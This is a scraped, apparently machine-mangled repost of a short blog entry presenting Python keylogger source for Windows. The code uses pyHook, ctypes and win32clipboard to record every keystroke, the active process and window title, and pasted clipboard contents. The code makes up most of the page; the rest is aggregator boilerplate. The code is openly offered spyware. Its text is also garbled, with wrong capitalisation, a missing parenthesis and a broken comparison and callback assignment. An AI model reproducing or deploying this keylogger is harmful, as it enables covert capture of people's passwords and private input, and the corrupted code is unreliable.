Python Keyboard Record

Source: Internet
Author: User

Before writing the Keylogger finally has been in the tangled bullet frame and not the box problem, the code can not find, and today again

#!/usr/bin/env python
#-*-coding:utf-8-*-


From ctypes Import *
Import pythoncom
Import Pyhook
Import Win32clipboard


User32 = Windll.user32
KERNEL32 = Windll.kernel32
PSAPI = Windll.psapi
Current_window = None


Def get_current_process ():
hwnd = User32. GetForegroundWindow ()
PID = C_ulong (0)
User32. GetWindowThreadProcessId (Hwnd,byref (PID))
process_id = "%d"% pid.value
Executable = Create_string_buffer ("\x00" * 512)
H_process = kernel32. OpenProcess (0x400 | 0x10,false,pid)
Psapi. GetModuleBaseName (H_process,none, ByRef (executable), 512)
Window_title =create_string_buffer ("\x00" * 512)
Length = User32. Getwindowtexta (Hwnd,byref (window_title), 512
print "\ n [pid:%s-%s-%s]"% (process_id,executable.value,window_title.value)
Kernel32. CloseHandle (HWND)
Kernel32. CloseHandle (h_process)


Def keystroke (event):
Global Current_window
If event. Windowname! = Current_window:
Current_window = event. Windowname
Get_current_process ()
If event. Ascii > + event. Ascii < 127:
Print Chr (event. ASCII),
Else
If event. Key = = "V":
Win32clipboard. OpenClipboard ()
Pasted_value = Win32clipboard. GetClipboardData ()
Win32clipboard. CloseClipboard ()
print "[paste]-%s"% (Pasted_value),
Else
Print "[%s]"% event. Key,
Return True


KL = Pyhook.hookmanager ()
Kl. KeyDown = Keystroke ()

Kl. Hookkeyboard ()
Pythoncom. Pumpmessages ()

Python Keyboard Record

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.